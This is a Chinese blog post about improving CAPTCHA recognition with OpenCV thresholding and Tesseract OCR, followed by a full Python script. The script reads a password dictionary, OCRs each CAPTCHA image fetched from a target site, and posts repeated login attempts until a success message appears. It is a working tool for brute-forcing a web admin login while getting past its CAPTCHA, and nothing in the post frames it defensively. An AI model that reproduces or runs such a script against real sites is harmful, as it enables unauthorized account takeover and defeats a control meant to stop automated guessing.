目的:
之前识别 成功率太感人… 想着这一段起码写出来点东西吧 ,比如把之前的完善下 … 我学长写过一个成功率 90 的,我问问他然后把我的看看多少弥补点 … 提升下吧 …
构思:
学长说他的复杂,他是 openCV 处理 ,然后使用SVM 机器学习来识别,我之前的是利用 google 的 ORC 直接识别
最后成果是 ,使用 openCV 处理图片 , 处理过后效果比较好, ORC 识别情况还不错 , 所以没有使用 SVM 机器学习
我的理解:
低通滤波的效果相当于使模糊图片,减少噪点的影响,但是对识别数字 也有影响
高斯滤波是对某些点更为”照顾“
图像二值化,将图片变成只有黑白两种色
我没有用到滤波 ~~ 我觉得没有效果也不错 ~~
对我有帮助的连接:
OpenCV Python教程(1、图像的载入、显示和保存)
http://blog.csdn.net/sunny2038/article/details/9057415
OpenCV-Python教程(5、初级滤波内容)
http://blog.csdn.net/sunny2038/article/details/9155893
图像的二值化之python+opencv
http://blog.csdn.net/what_lei/article/details/49159655
OpenCV 数字验证码识别 # C写的,有点遗憾 不过提供了主要的思路,帮助我写完了我的代码 #
http://blog.csdn.net/monkeyduck/article/details/46932663
代码:
#coding:utf-8
import requests
import time
import Image
import pytesseract
import cv2
from optparse import OptionParser
def cmdParse():
parser = OptionParser()
parser.add_option("-f",dest="dicPath",default=False,help="dict file path")
parser.add_option("-u",dest="user",default=False,help="user name")
parser.add_option("--url",dest="url",default=False,help="The data post url. Like www.baidu.com")
(option, args) = parser.parse_args()
return option.dicPath, option.url, option.user
############# 验证码除噪
def clearNoise():
img = cv2.imread("img.jpg")
grayImg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
ret, twoImg = cv2.threshold(grayImg, 127, 255, cv2.THRESH_BINARY)
cv2.imwrite("img.jpg",twoImg)
############# 验证码分析
def Analysis():
clearNoise()
image = Image.open("img.jpg")
return pytesseract.image_to_string(image)
############# 验证码保存
def imgSave(s,url):
urlCode = url + "/include/xxx.php"
resp = s.get(urlCode)
f = open("img.jpg","wb")
f.write(resp.content)
f.close()
def Payload(user,pwd,vaCode):
return {"userid":user ,"pwd":pwd ,"gotopage":"xxx",
"dopost":"xxx" ,"xxx":"xxxx" ,"validate":vaCode}
def header():
return {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}
def main():
i = 1
xing = "*"
truePwd = "......"
dicPath, url, user = cmdParse()
urlLogin = url + "/xxx/login.php"
s = requests.session()
# 打开字典文件
for pwd in open(dicPath):
# 每条密码匹配5次
for x in xrange(0,5):
imgSave(s,url)
vaCode = Analysis()
print vaCode
resp = s.post(urlLogin,data=Payload(user,pwd,vaCode),headers=header())
resp.encoding = resp.apparent_encoding
print x,xing*40,pwd
if u"成功登录,正在转向管理管理主页!" in resp.text:
truePwd = pwd
print "testing ........"
if i%10==0:
time.sleep(1)
i = i + 1
if truePwd != "......":
print truePwd
if __name__ == '__main__':
main()